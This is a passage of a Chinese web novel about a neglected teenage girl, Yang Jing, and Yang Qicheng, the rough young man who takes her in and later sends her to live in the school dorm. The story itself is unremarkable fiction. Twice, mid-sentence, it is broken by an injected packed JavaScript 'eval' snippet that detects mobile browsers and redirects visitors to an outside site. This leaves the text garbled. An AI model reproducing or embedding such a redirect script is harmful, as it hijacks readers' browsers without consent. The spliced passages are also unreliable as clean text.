杨静张了张口,小声说:“……我没钥匙。” “都住了这么久了,不晓得自己去配?” 杨静愣了愣,继而扬了扬嘴角。 两人风卷残云一样将菜和米饭横扫干净。吃完饭,杨启程去洗澡,杨静再三叮嘱,“不能沾水,会发炎的。” 杨启程不耐烦地一摆手,“行了行了,知道知道。” 由于受伤,杨启程在家休养了几天,有缸子和杨静两个人看着,每天什么事也干不了,闲得腿脚都生锈了。 一无聊,他就开始百般使唤杨静。然而不管他怎么没事找事,杨静都像没事人一样,低眉顺目地应下来,屁颠屁颠儿地办得分毫不错。 一周后,杨启程拆了身上的纱布。 这天杨静放学回家,屋里没有半个人影,便放下书包,下去巷子里杂货铺给杨启程打电话。响了几声,没有人接,她又打给缸子,问杨启程的行踪。 “他没跟我一起啊。” “那你知道他可能去哪儿了吗?” 缸子笑道:“担心你程哥啊?” 杨静垂眸,“他身上伤还没好。” “他这人闲不住,可能跟朋友喝酒去了。你别担心,这么大人了,出不了事。” 杨静吃了饭,写完作业,又给杨启程打了个电话,仍然没有人接听。 晚上十一点,杨启程仍没有回来。杨静撑不住,只得先睡了。 不知睡了多久,被敲门声惊醒。杨静一个激灵,一骨碌从床上爬起来。她窗外瞟了一眼,天空刚露出点儿鱼肚白。 头顶灯泡一闪,暗黄的光线倾泻而下。 杨静眯了眯眼,看向门口,“程哥。” 杨启程“嗯”了一声,二话不说,先往床上一趟。 一股刺鼻的汗味混杂烟酒味扑面而来,杨静愣了愣,踌躇半晌,走到床边将杨启程手臂轻轻一摇,“程哥,洗了再睡吧。” 然而杨启程手臂盖着眼睛,呼吸均匀,已经睡着了。 尚不到六点,杨静却已然毫无睡意。 她在床上干躺了一会儿,轻手轻脚地起床,洗漱之后,买好早餐放在桌子上,出门去上学。 一连半个月,杨启程天天晚出早归,周末更是成天不见人影。这么长时间过去,他上回受的伤没好透,身上又添了新伤,每每看得杨静心惊肉跳。 然而杨静连个跟他说话的机会都找不到,即便有机会,她也不敢直接问,不得已,只能去给缸子打电话。 结果缸子反而比她更惊讶,“老杨在打夜场,你不知道?” 杨静并不十分清楚所谓的夜场是什么,只知道这并不是什么好事。 “程哥缺钱吗?” 缸子笑了,“他什么时候不缺钱了?” 她原本以为,上回替他还的那八千块,还能够撑上一阵。 “打夜场是不是很危险?” “那肯定危险,要是运气不好碰上专门来砸场的……” 听缸子这么一说,杨静心里越发七上八下。 到底不放心,又一个周末下午,杨静跟在杨启程身后出了门。她这次吸取上回的教训,侥幸没被发现。 最后,一直跟到了三川路,看着杨启程进了一家酒吧的大门。 这地方,她一个未成年人肯定进不去。 杨静在三川路上徘徊,直到夜幕降临。 来往行人渐多,甚至有三五个结伴的男人,经过杨静跟前时,朝她肆无忌惮地吹口哨。 杨静心里发憷,不敢继续逗留,转身回去了。 · 杨启程这半个月,统共遇上三次前来闹事的,除此之外倒算平静。 这天,一直快到后半夜也没遇上什么事。 杨启程去值班室,偷闲补觉。 刚合上眼,手机叮铃铃响起来,领班服务员打来的,说是卡座有人打架。 杨启程赶到卡座,战局如火如荼。 两个男人扭打成一片,旁边有几个女人观战,却没人敢上去劝架。 杨启程二话不说,上去先抓住一人手臂猛一下拖开。立即有个女人上去抱住了另一个男人的腰,哀声道:“别打了!” 两个人男人龇牙咧嘴,互相冲着对方高声谩骂。 最后,在女人的连番哀求之下,被抱着的那个男人拂袖而去。 战火停息,杨启程往地上扫了一眼,吩咐跟在他身后的服务员,“看了看碎了几个杯子。” 说罢,打算回去值班室接着补觉。 忽听身后一道清脆的女声,“那个……” 杨启程停步回头,是方才观战中那几个女人中的一个。 女人里面穿一件黑色吊带,外面套了件衬衫,在腰上系了个结,底下是热裤和高跟鞋,头发束成马尾,脸上化了点淡妆。 杨启程问:“什么事?” 结果还没等女人开口,他兜里手机又是一响,一看来电人,不敢怠慢,赶紧接起来,快步往值班室走。 打电话的是酒吧的老板,陈家炳,人称炳哥。 陈家炳开门见山:“今晚太不太平?” “到现在还没出事,炳哥放心。” 陈家炳笑说:“放心,你在我十分放心。前两天的事,我听人说了……” 杨启程知道陈家炳想说什么,先截了他的话头,“也是仰仗炳哥赏口饭吃。” “饭,别人赏的不好吃,好吃的还得自己挣。” 杨启程默了片刻,“炳哥说得有道理。” 陈家炳笑了一声,“要觉得有道理,回头你再好好琢磨琢磨,过两天得闲了,我请你吃饭。” 那边挂了电话,杨启程静立片刻,方才将手机揣回兜里。 · 周一上早自习,杨静摊着英语书背单词。 背得昏昏欲睡,桌子忽让人轻轻一敲。 杨静一个激灵,一抬头,恰好对上厉昀的视线。 “厉老师……” 厉昀看着她,“跟我来办公室。” 有几个人抬起头来朝着这边看了一眼,紧接着又低下头去继续背书。杨静神色坦然,跟着厉昀走出教室。 “坐。”厉昀从旁边的办公桌拖了把椅子给杨静。 杨静坐下。 厉昀看着她,“最近学习和生活上还顺利吗?” 杨静低着头,“顺利。” “有没有遇上什么困难。” “没有。” 厉昀静了几秒,“如果遇到什么不顺心的事,一定要第一时间告诉老师。” “嗯。” 厉昀有些尴尬,“……那个,学习上还是要抓点紧,尤其英语和数学……” “嗯。” 一时沉默,杨静微微抬了抬眼,发现厉昀似乎还有话要说。 然而她从来不是会主动给人台阶下的人,厉昀不说,她也就不问。 最后,还是厉昀撑不住。 “杨静,你现在正处于关键的时候,有时候外界有些诱惑,你可能觉得好奇。但有些东西不能好奇,一时的好奇心很可能会造成难以预计的后果……我还是希望,什么年龄做什么事,不该做的坚决不做,不该去的地方坚决不去……” 杨静听得心烦,连连点头敷衍。 厉昀也说不下去了,“行了,老师就说这么多,我相信你心里有个数。”她指了指桌上的作业本,“帮我把周记本抱回去。” “谢谢厉老师。”杨静抱着作业本,走出去几步,又听厉昀叫她。 杨静转身。 厉昀欲言又止,最后还是摆了摆手,“没事,你回教室吧。” 杨静走到走廊,脚步一顿。 她陡然明白过来,厉昀先前云山雾罩打的那一通官腔是什么意思。 厉昀看见了自己在三川路上。 杨启程在酒吧又打了一周夜场,眼看钱赚得差不多了,打算收手,仍旧和往常一样看白天的场子。 陈家炳听了他想法,未置可否,只提出请他和缸子吃饭。 这顿饭,去也得去,不去也得去。 陈家炳三十六岁,在旦城西城区这一片颇混得开。为人精明狡狯,交游甚广,年纪虽然不大,大家却都愿意尊他一声“炳哥。” 陈家炳好排场,吃饭的地点在他自己开的一家餐馆。偌大的包厢,灯火通明,除了他自己,身旁还站着两个贴身保镖。 杨启程倒是一点不怵,领着缸子恭敬唤了一声“炳哥”,态度不卑不亢。 等菜一端上来,全是翅鲍参掌。 杨启程这才渐渐生出些惧意。 陈家炳先不说正事,只劝他们吃饭喝酒。缸子自诩见惯了大场面,此刻也舌头打结,让吃便吃,让喝便喝,一句话不敢多说。 酒过三巡,陈家炳问起杨启程的情况。 “哪里人?” “暮城人。”杨启程答。 “以前去过一趟,是个好地方。”陈家炳吸了口烟,又问,“家里几口人?” 杨启程顿了顿,“没人了。” 陈家炳笑了笑,弹了弹烟灰,“那怎么缺钱?” “前几年家里人生病,借高利贷。” “现在住扁担巷?” “是。” 陈家炳端起酒杯,“来,再走一个。” 缸子已喝得满面通红,杨启程也喝了不少,但脑袋里绷着一根弦,让他始终思维清晰。 陈家炳放下酒杯,又问:“以后有什么打算。” “挣点钱,娶个老婆,生个儿子。” 陈家炳笑了,手臂抬起来搭在一旁椅子的靠背上,“我看你远不止这点本事。” “炳哥抬举了。” 陈家炳摇头,“我看人没错过眼。”他微微眯起眼,抽了口烟,“我听七福说了,老乌的人闹了几次事,都让你给顶回去了。现在年轻人几个不是缩卵,你倒有几分血性。” “过奖了炳哥,我就是烂命一条。” “命烂不要紧,”陈家炳笑了笑,“得看命硬不硬。” 散场,缸子跟杨启程往回走,走过一条马路,背上热汗被夜风一吹,胳膊顿时起了一层鸡皮疙瘩。 “老杨,这事儿你可得想清楚。” 杨启程嘴里叼着烟,“知道。” 缸子瞥了杨启程一眼,“其实这话我早想跟你说了,说句不好听的,咱俩现在就是炳哥养的一条狗,看门的,干这个,不是长久之计。” 杨启程没说话。 “如果你真答应他,以后钱财肯定不愁,但炳哥干的都是擦边球,你也清楚,沾上了还想脱身?现在是条狗,出事儿了谁跟狗计较;可你要真心实意帮他做事,狗当得不舒坦,想站起来当个人……” “你有什么想法?” 缸子想了想,“弄一笔钱,咱俩白手起家,做点儿正经的。就凭你这脑袋瓜子,还怕挣不了钱……” 缸子话锋一转,“……不过,你先得好好想想,杨静的事怎么处理。收留一天两天可以。可毕竟不是猫猫狗狗,给口饭吃,饿不死就行……” 杨启程脚步一顿。 道旁梧桐的树影将他笼在阴影之中,让他脸上表情一时看不分明。 静了许久,他说:“我再想想。” · 到家,杨静正在看电视。 见杨启程进门,她立即从桌上起身,笑问:“程哥,吃饭了吗?” 杨启程没答,将自己背上斜跨的包往桌上一放,坐下点了支烟,朝背包看了一眼,“给你的。” 杨静愣了愣,走近几步将背包打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609378|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。 里面放着四叠纸币。 “八千,你点一点。” 杨静紧盯着包里,半晌,咬了咬唇,“程哥……什么意思?” 杨启程看她一眼,“欠债还钱,什么意思。你的钱你自己留着读书用。” 杨静声音有点儿抖,“……程哥,我不用你还。” 她倾其所有,只想换一席容身之地。 杨启程沉默片刻,“你去宿舍住,我去找你们班主任打招呼。” ——然而杨启程仍旧将她往外推。 杨静低下头,紧咬着唇,一声不吭。 一时都没说话,只有电视里吵吵闹闹的声音。 一缕青烟自杨启程指间缭绕而起,隔开了两人。 最后,杨启程再次开口,难得十分有耐心,“我过的不是正常日子,住校对你更好。” 杨静抬了抬眼,“我也没过过正常日子。” 她声音很轻,和烟头上飘散的烟雾一样。 没等杨启程再开口,杨静问:“程哥,是不是我哪里做得不好,让你不满意了?” “没有。” 杨静喉咙一梗,“我可以跟你分摊房租,不会花你一分钱。” 杨启程看了看杨静。 她眼眶泛红,眼睛里湿漉漉的,削瘦的肩膀,人跟纸片儿一样。 这小姑娘,远比他想象得更为早熟。 杨启程猛吸一口烟,“去住校有什么事,一样可以找我。” 杨静盯着他,“真的?” 杨启程点头。 “如果……”杨静试探道,“如果我不搬呢?” 不搬?不搬他也不至于真动手把她赶出去。 杨启程把手里的烟往桌面上一掐,声音冷淡,“要闹到这个份上,就没多大意思了。” 说罢,起身径直往外走。 脚步声朝着走廊尽头去了。 杨静站在灯下,耷拉着肩膀。 水泥地上一道灰扑扑的影子。 杨静以前总是挨打。 孙丽脾气爆发毫无预兆,一个不顺心,抄起手边的东西就往她身上招呼。 起初杨静会哭号,会哀声求饶;后来渐渐发现,求饶并没有任何作用。以后不管孙丽打得多狠多重,她都一声不吭,只是拿一双和孙丽如出一辙的眼睛,冷冷淡淡地盯着。 孙丽不喜欢这样的目光,是以打得更重,嘴里连声骂她是畜生怪物。 这世界上,总有些事情没有道理可讲。 比如,她是孙丽的女儿。 比如,孙丽死了,可她还活着。 既然活着,那就得活着。 命这么长,路这么远,天又这么冷。 活到这么大,她只在如今感受到些微的暖。 可现在,这一点点的暖,也要被收回去了。 · 杨静不甘心这样的结果,仍在试图让杨启程松口,然而没有任何效果。 没过几天,到了每个月收租的日子。 早上,杨静还躺在床上,就听见楼下吵吵嚷嚷。她赶紧爬起来,走到楼梯口往下一看——房东肥硕的身子几乎将楼道占满。 房东声音尖细,“……这都三个月了,交不出就赶紧给我滚出去……” 等收到四楼,杨静替杨启程规规矩矩交了租,心里忽然生出一个想法,立即拉住房东问道:“阿姨,对面有人租了吗?” 房东上下打量她,“怎么?” “我想租。” 房东里鼻子里一嗤,“一个月三百,你租得起吗?” “能便宜点儿吗?” 房东翻了个白眼,转身继续往前走。 杨静急忙跟上去,“阿姨阿姨,我妈在您这里住了十几年,您能不能给我便宜点?” 房东顿住脚步,拿鼻孔看着杨静,“哎呦你还好意思说,住了十几年,一星期往屋里带回来十几个……隔壁找我投诉好多回了,我都臊得慌……” 杨静脸上发热,不知不觉松了手,退后一步,让房东走了。 事无转圜,几成定局。 杨启程倒也不催她搬,可是越不催,她越觉得心慌。 这天杨静打开门回家,发现屋里多了个人。 一个女人,穿了条紧身的玫红色裙子,翘着腿坐在床上,半个身子都几乎歪靠在杨启程身上。 杨静一愣。 杨启程推了推女人,从床上起身,走到门口。他叼着烟,从裤子口袋里摸出几张纸币,递给杨静,“晚上自己出去吃,吃完了去书店逛一会儿。” 杨静张了张口,又往屋里看了一眼。 女人冲她一笑。 杨静强抑心里的恶心,抬眼看了看杨启程。 杨启程神色坦然。 最后,杨静轻轻点了点头,“好。”顿了顿,嗓子干哑着,又问,“我几点回来?” “九点。” 杨静背着书包,转身走了。 她脚步飞快,一口气下了两层,突然停下,恍惚地站了一会儿,方又再次提步。 走到巷里,她再次站住。 吆喝声,自行车铃声,女人尖利的骂声,小孩哭声…… 油烟夹杂溽热的气息,扑面而来。 夏天似乎到了。 杨静低垂着头,一步一步走出巷子,沿着眼前的路,漫步目的地往前走。 不知走了多久,忽听身后一道声音:“杨静!” 杨静回头,对上陈骏的笑容。 陈骏三步并作两步走到她跟前,“你怎么在这儿?” 杨静这才回神,看了看四周,是在区政府的路上。 杨静看了看陈骏,忽问:“吃麦当劳么?” 陈骏一愣。 “我赚了一笔零花钱,请你吃麦当劳。” 陈骏又是一愣,“怎么赚的?” 杨静笑了一下,笑意却有些冷,“我哥给的。” 陈骏也跟着笑了,“那你哥对你挺好。” “是挺好,”杨静抬头看着前方,“我妈以前也这样,常常给我零花钱。” 她声音冷冷清清的,听不出什么情绪。 前方一道残红的夕阳,悬在楼顶上,还剩下半个。 云也被涂抹成红色,似在泣血。 6. (06)被推离的(下) 杨静站在办公室门口,几番踌躇,最终还是敲了敲门。 厉昀正在批改作业,抬头,愣了愣。 杨静走到厉昀跟前,“厉老师,我要住校。” “怎么突然要住校了?家里闹矛盾了?” 杨静摇头,“没有,我哥工作忙,不想给他添麻烦。” 厉昀看着杨静,片刻,“学期中住校需要监护人来学校说明情况。” “来了,”杨静抬了抬眼,“就在外面。” 杨静走到门口,冲走廊里杨启程的背影喊了一声,“程哥。” 杨启程转过身来,将烟掐了扔进一旁的垃圾桶里,“说了?” 杨静点头。 杨启程跟着杨静走进办公室。 厉昀的桌上摆了一盆绿植,她透过叶片的间隙看见跟在杨静身后的人,顿时一愣,不由自主地站了起来。 板寸,浓眉深目,古铜色肌肤,黑色T恤,一身紧实的腱子肉。 发愣间,杨启程已走到办公桌前,不咸不淡地开口:“我是杨静的哥哥。” 厉昀回过神,急忙朝他伸出手,“杨先生你好。” 杨启程瞥了一眼,还是捉着她的手指轻轻握了握。 厉昀搬了张椅子请杨启程坐下,笑说:“一直想跟你聊一聊,杨静说你工作忙没时间。” 杨启程“嗯”了一声。 厉昀看着杨启程,“杨静在学校表现还是不错,挺让人省心……” “能住宿舍吗?”杨启程打断她。 厉昀一愣,“哦……能的,”她拉开抽屉摸出一叠文稿纸,又从笔筒里抽出一直黑色水笔,“我写个说明,你们先去宿舍找舍管开正式声明,然后去财务处缴费。” 厉昀刷刷刷写了几行字,撕下文稿纸递给杨启程,又补充一句,“办妥当了,再来办公室跟我打声招呼。” 杨启程点了点头,一句话没说,起身往外走。 倒是杨静,看了厉昀一眼,微笑说:“谢谢厉老师。” 杨静东西不多,所有加起来也就一个编织袋。杨启程帮着把行李和领来的被子一道扛上四楼,在宿舍里晃悠一圈,说:“条件还行。” 杨静垂着眼没说话。 把东西大致收拾了一下,两人又重回到办公室。这时候早自习刚下,外面渐渐热闹起来。 厉昀问杨静,“都收拾妥当了?” 杨静点头。 厉昀忽从桌上拿起一本学生联络簿,递给站在一旁的杨启程,“杨先生,你在监护人那栏填个手机号吧,方便舍管以后有事联系。” 杨启程犹豫了一下,还是接过笔。 杨静冷着眼,看了看厉昀。 厉昀倒是毫无觉察,仍旧嘱咐杨静,“去学生服务中心换个新的出入证,以后要遵守宿舍的规定。” 杨静“嗯”了一声,待杨启程填完号码,没给厉昀再次开口的机会,问杨启程,“哥,忙一早上了,会不会耽误你工作啊?” 杨启程看她一眼。 杨静神色如常。 厉昀讪讪一笑,接过联络簿,也没敢往上看,“没别的事了,可以回去了,以后有事我再联系。” 杨静坚持将杨启程送到学校门口。 杨启程点了支烟,低头看她,“以后在学校听舍管话,和室友搞好关系。” 杨静只是低着头,并不应。 僵持几秒,杨启程咬着烟,伸手在她肩上拍了一下,“我走了,缸子找我有事。” 说完,顿了顿,似乎是在等杨静开口。 等了几秒,没听见回应,杨启程也不再说什么,迈开脚步,往停在道旁的那辆破金杯走去。 杨静张了张口,“程哥!” 杨启程脚步一顿。 杨静望着他的背影,旭日初升,他逆着光,周身似镶了层橙色的边。 她觉得,那光,应该是暖的。 杨静喉头一梗,“……谢谢你。” 杨启程没回头,摆了摆手,迈开大步上了车。 门“哐”一下关上,杨静跟着眨了下眼。 她紧盯着驾驶座上那人的侧脸,车轮滚动,不过一瞬,便看不见了。 紧接着没过过久,车子也消失在视野尽头。 课间操的时候,杨静在走廊里碰到了陈骏。 陈骏立即走到她身旁,“搬进宿舍了?” “嗯。” 陈骏笑了笑,“挺好的,扁担巷乱,你放学一个人回去也不安全。” 杨静没说话。 陈骏看着她,“不过住校不自由,学校食堂不好吃,晚上还要上晚自习……” 杨静停下脚步。 陈骏也跟着停了下来,“怎么了?” “你先回教室吧,我去趟小卖部。” “我跟你一起去。” 杨静站在原地,看着他。 陈骏有些尴尬,摸了摸鼻子,“那你快去,要上课了。” 杨静点了点头,转了个身,逆着人流往前走去。 陈骏望着她的背影,不自觉地叹了口气。 他总觉得,杨静和他不是一个世界的人。或者说,和所有人都不是一个世界的人。 · 杨启程的生活恢复了原样,他仍旧和往常一样,跟缸子一起看场子,偶尔碰上老乌来闹事,杠上一顿。钱左手进右手出,生活面目模糊,和“未来”“前途”这样的字眼没有半分关系。 一晃一个月过去,旦城天气一日高过一日。出租房蒸笼似的闷不透风,待上十分钟就能热出一身的汗。缸子的地方比这儿大,还装了空调,杨启程没事就往他那儿钻。 缸子郁闷死了,往凉席上的人身上踢了一脚,“赶紧给我滚回去,你待这儿让老子怎么带人回来!” “你只管带。” “我.操,带回来演给你看?恶心不恶心?” 杨启程叼着烟,“谁他妈稀罕看你一身肥肉。” 缸子瞥他,“上回那妞呢?” “散了。” “我看她模样不错啊……” “那也得人稀罕跟我。”杨启程捏着遥控换台。 缸子笑了一声,“也不是没人稀罕,不被你给逼走了么?” 杨启程抬眼一扫,“你他妈就是狗嘴里吐不出象牙。” “我.操,我说的不是实话?你他妈自己思想龌龊,看谁都是西门庆……” 杨启程心里烦躁,“啪”一下丢了遥控器,起身往外走。 “你往哪儿去?” 杨启程没答,“砰”地摔上门。 杨启程上了金杯,抽完烟,发动车子。 开出去半晌,却是漫无目的。 车子制冷怀了,呼呼吹了半天,车里面越来越热。 经过前面路口,杨启程看见路旁有个水果摊子,立即松油门停车。他买了半拉冰镇的西瓜,搁在副驾驶上。 瓤红艳艳的,散发着丝丝凉气。 杨启程看了一眼,发动车子,拐了个弯。 周末学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609379|172130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校开放参观,杨启程在门口登了记,径直往学生宿舍走去。 宿舍规定男士不能入内,舍管打发了一个学生上去叫人下来。 杨启程蹲在楼下等了半晌,听见一阵轻快的脚步声,立即起身回头。 杨静穿着学校的夏季校服,白底蓝领的上衣似是灌满了风。 一个月没见,她似乎长高了,然而更瘦。 杨静走到跟前,很浅地笑了一下:“程哥。” 杨启程回过神,“忙不忙?” “不忙,刚在洗衣服。” 杨启程点了点头,“那带你出去吃顿饭。” 两人在舍管那里登了记,一块儿往外走。 杨启程问:“住宿舍习不习惯?” “还行。” “哦。” 静了一会儿,杨启程又问:“什么时候期末考试?” “下周。”杨静顿了顿,又立即补充,“暑假要补课,我还是会住宿舍。” 杨启程看她一眼,知道她是误会了,但也没说什么。 到了车旁,杨静拉开车门,看见副驾驶上的东西,打算坐去后面。 “给你买的,直接吃吧。” 杨静看了看塑料袋里的西瓜,“……没勺子。” “……”杨启程拎起袋子,往后座上一放,“那你带回宿舍吃。” 杨启程带着她进了一家冷气很足的餐厅,先点了一客冰淇淋。 杨静拿小勺子舀着一点儿一点儿送进嘴里,问杨启程:“缸子哥最近怎么样?” “能吃能喝,还能怎么样。” 沉默一会儿,杨静又问:“厉老师找过你吗?” 杨启程看她,“她找我干什么?你在学校惹什么事了?” 杨静忙说:“没……就是问问。” 吃饭的时候,杨启程又零零碎碎问了一些关于她学校的事,然而也就仅限于此了。 从餐厅出去,正午太阳炙烤着水泥地,腾起一阵一阵的热浪。 杨启程看了看杨静,她穿的是校服配套的深蓝色长裤。 “有夏装吗?” 杨静愣了愣。 “带你去买两件衣服。” 杨静急忙摆头,“有。” 杨启程也不知该说什么,在原地站了片刻,“那走吧,送你回学校。” 学校后门离宿舍更近,杨启程将金杯停在路边,“你自己进去。” 杨静点了点头,从车上跳下去。 杨启程提醒,“西瓜。” 杨静拉开后座门把西瓜提下来。 杨启程手撑着车窗,“有事给我打电话。” 杨静点头。 塑料袋上沾着冰融化后的水滴,滴在杨静穿凉鞋的脚趾上。 杨静眯了眯眼,抬头看向杨启程,“程哥……” 杨启程看着他。 日光晃眼,将她的视野笼罩在一片发烫发白的热浪之中。 “以后……你不用来看我了。” 不待杨启程回答,杨静转身头也不回地往里走。 她身影消瘦,装西瓜的黑色塑料袋擦着她裤腿,沙沙作响。 杨启程看着她,许久,直到那身影消失在宿舍的铁栅栏门里。 杨静知道,那光是暖的。 像隆冬飘雪的黑夜里,一捧灯光。 可是如果这暖不属于她,那她宁愿不要。 温暖,光明,都是让人心生软弱的东西,然而她的前路和命运,却和铁石一样的硬冷。 7. (07)病(上) 由夏入秋,杨静很长一段时间没再见过杨启程。 她学习成绩仍然不上不下,用很多的时间来发呆,或者用更多的时间来发呆。 这段时间,陈骏和她走得更近。 陈骏走读,实则不用上晚自习。 陈骏和杨静不是一个班,然而数学老师是同一个。每周六,数学老师都会组织补课,住读生成绩90分以下的强制参加,走读随意。 陈骏每周六都会来学校参加补习,和杨静坐前后桌。 周六学校放假,每次陈骏从校外进来,都会给带一些吃的。有时候是麦当劳,有时候是糯米鸡,有时候是他妈妈自己做的酱牛肉。 靠着这些零食,陈骏很快与前后左右的人打成一片。 以后他再跟人分零食的时候,自然而然地也会给杨静一份,在周围人都坦然接受的情况下,杨静也不能一个人矫情不收。 后来,杨静开始主动拜托他帮忙在校外买一些东西,其中要求最多的是,是让他帮忙租小说。 校外有个书店,办张会员卡,一本书一天三毛钱租金。杨静看书很快,两小时能看完一本。周六补课无聊,杨静就会将书藏在桌肚里,偷偷地看。因此,陈骏还肩负了另一项重任,在老师过来的时候,踢杨静凳子腿提醒她注意。 两个月下来,两人几乎达成了一种默契。 十月一过,天气日渐转凉。 晚上数学老师讲课到一半,接了个电话,回来给大家布置了几道题就走了,换了英语老师来坐班。 大家安静一会儿,开始讲小话传纸条。 杨静正埋头看书,后背被人轻轻戳了一下。 陈骏低声说:等会下课了先别走,我有事跟你说。 下晚自习后,杨静慢慢地收东西,陈骏到她前面的座位上坐下,“明天我生日,出去吃个饭吧?” 杨静问:“有谁?” “周围这几个同学,你都认识。”陈骏看着她,神情恳切,“去么?” “我住读,不能出去。” “我跟我妈来接你出去。” “不麻烦么?” 陈骏摇头。 杨静犹豫。 其他人走了,跟陈骏道别。陈骏漫不经心地挥手说了声“拜拜”,又接着劝说:”吃完就送你学校。“ 杨静想了想,最终点头。 陈骏扬眉一笑,往她桌肚里看了一眼,“书看完了吗?要不要我帮你还?” 杨静拿出来两本递给他。 陈骏装进自己包里,“走吧,我送你回宿舍。” “不用了。”杨静站起身。 这一点上,杨静从不松口。 陈骏倒也不沮丧,把书包拉链拉好,一低头,瞥见杨静的裤子,忽然一愣,脸顿时涨得通红,“你……” 杨静疑惑,“怎么了?” 陈骏不说话,将自己身上外套脱下来,别过头去,递给杨静。 杨静不明所以,“我不冷啊。” “不是,你那个……你围在腰上。” “为什么?” 陈骏见她真的完全懵懂不知,也不知道该说什么了,干脆捉住她手臂往外一拉,直接将外套往她腰上一围。 杨静不悦,“你干什么。” 陈骏抓着她手臂,“一定回宿舍再解开。” 说着,再也不敢看她,匆匆说了句“再见”,低头转身大步走了。 杨静仍然一头雾水,低头继续收东西,她往椅子上看一眼,顿时一愣。 灰绿色椅子上,一抹暗色的血迹。 杨静立马解开外套,往自己裤.裆处看了看,浅蓝色牛仔裤已被浸透了。 杨静一时惶惑,片刻后,终于明白过来,脸霎时涨得通红。 她想起生物书上的一个词:初.潮。 第二天陈骏的生日,杨静未能赴约。 她痛得几乎昏厥,一问之下,其他女生也有这样的现象,只是没有这样厉害。 杨静在床上躺了半天,死扛着,总算撑了过去。 中午,她去楼下用IC卡给陈骏打了个电话。 陈骏虽然失望,还是嘱咐她好好休息。 周一一下早自习,陈骏就去找杨静。 等了片刻,杨静提着一只袋子走出来,将袋子递给他。 陈骏往里看了一眼,自己的衣服,看完的书,还有一个长方形的东西,裹着漂亮的包装纸。 “生日礼物。”杨静解释。 陈骏咧嘴一笑,“谢谢。” “嗯。”杨静站了片刻,“还有事吗?” “没……”陈骏不好意思地别过目光,“……你好了吗?” “嗯。” “那就好……”陈骏有些尴尬,最后挠了挠头,“那……那我回教室了。” “嗯。” 陈骏走出去两步,又停下来,“哦对了,还想看什么书?” 杨静摇头,“不用了。” 陈骏看她一眼,有些失神。 少女脖颈修长,迎着光,能看见脸上细小的绒毛。眼睛很深很黑,目光里有着超越这个年纪的清冷。 这一刻,一句“不用了”,让他觉得两人的距离再次远了,他永远靠不近她。 礼物的意思,大约就是要和他两讫。 “……要期中考试了,得复习。” 陈骏听到杨静补充的这一句,总算小心翼翼地松了口气,笑了笑说:“好,复习遇到不懂的可以找我。” 杨静点了点头,神色平淡。 十一月,日越发短,夜越发长。 然而住读生每天早上六点二十的晨跑,仍然雷打不动。 天气冷了,早起花坛里结了霜。 杨静起来有点迟了,匆匆跑到操场,队列已经集合完毕,她只得静悄悄站到最后一排。 天色沉沉,刚刚透出一抹亮光。 带队老师老师吹了声哨,一个一个班开始加入晨跑的队伍。 杨静跑了一圈,渐渐觉得肚子有点不对劲。小腹上像是悬了秤砣,不住往下坠。 她费力呼着气,勉强跟着越来越快的队伍。 渐渐的,耳朵里开始嗡嗡作响,眼前一团白光缓缓扩大,越来越亮,最后,视野里什么也没有了,只剩下灼目的白…… 等杨静醒过来,是在校医院的床上,床边站着厉昀。 “厉老师,她这个疼不是一般的疼,都休克了,建议还是送去医院拍个片。” 厉昀点了点头,转头看着杨静,“你好点了吗?” 杨静“嗯”了一声。 “医生的话,你听见了吗?” 杨静又“嗯”了一声。 “那我给你哥打个电话,让他送你去医院做个检查。” 杨静立即说:“别打。” 厉昀一愣。 “我不用做检查。” 厉昀看着她,最后,还是从口袋里掏出手机,“杨静,我是你班主任,我得对你负责。” 四十分钟后,杨启程赶到校医务室。 杨静服了止痛药,喝了一剂葡萄糖,肚子已经不疼了。她坐在床沿上,杨启程进来时,她立即站起来,但没靠近,只轻轻地喊了一声:“……哥。” 杨启程看她一眼,走到厉昀跟前,“厉老师,什么情况?” 杨启程T恤外面套了件黑色夹克,靠近时,有股淡淡的烟味儿。 厉昀敛了目光,平静地把事情交代了一下。 杨启程听完没有立即开口,目光在杨静身上扫了一眼,方说:“好,我现在就带他去。” 厉昀点头,“检查完了,麻烦给我打个电话。” 厉昀要上第一节课,便先回教室了。 杨启程走到杨静跟前,“走吧。” 杨静蹲下.身把鞋带绑好,跟在杨启程身后走出校医务室。 外面薄雾弥漫,呼入鼻腔的空气带着一股清冷的水汽。 快到校门了,杨静忽然顿下脚步,“程哥。” 杨启程停步看她。 “我自己去。” 杨启程蹙眉。 “……不麻烦你了,我自己去。” 杨启程沉了脸色。 杨静抬眼,“我知道怎么挂号。” “……你知道个屁!”杨启程低头看她,不耐烦道,“你他妈又闹什么别扭?” 杨静怔了怔,“我没闹别扭……” “走不走?” 杨静没吭声。 杨启程耐心尽失,二话不说,一把抓住她手臂,往校门口拽。 学校保安看情势不对,立即走上来,“喂喂!干什么的!” 杨静急忙解释:“我是初一(三)班的杨静,这是我哥,带我出去看病的。” 保安那眼扫着杨启程,将信将疑。 “你可以给我班主任厉昀老师打个电话确认。” 保安又看了杨启程几眼,掏出手机拨了个号,不一会儿,挂了电话,一挥手,“来登个记。” 一路上,杨启程一言不发,杨静也就跟着沉默。 到医院,杨启程挂了号,领她进去。妇科的大夫问询过后,建议做个彩超。做彩超要憋尿,杨静喝了大半瓶水,在走廊里走来走去。 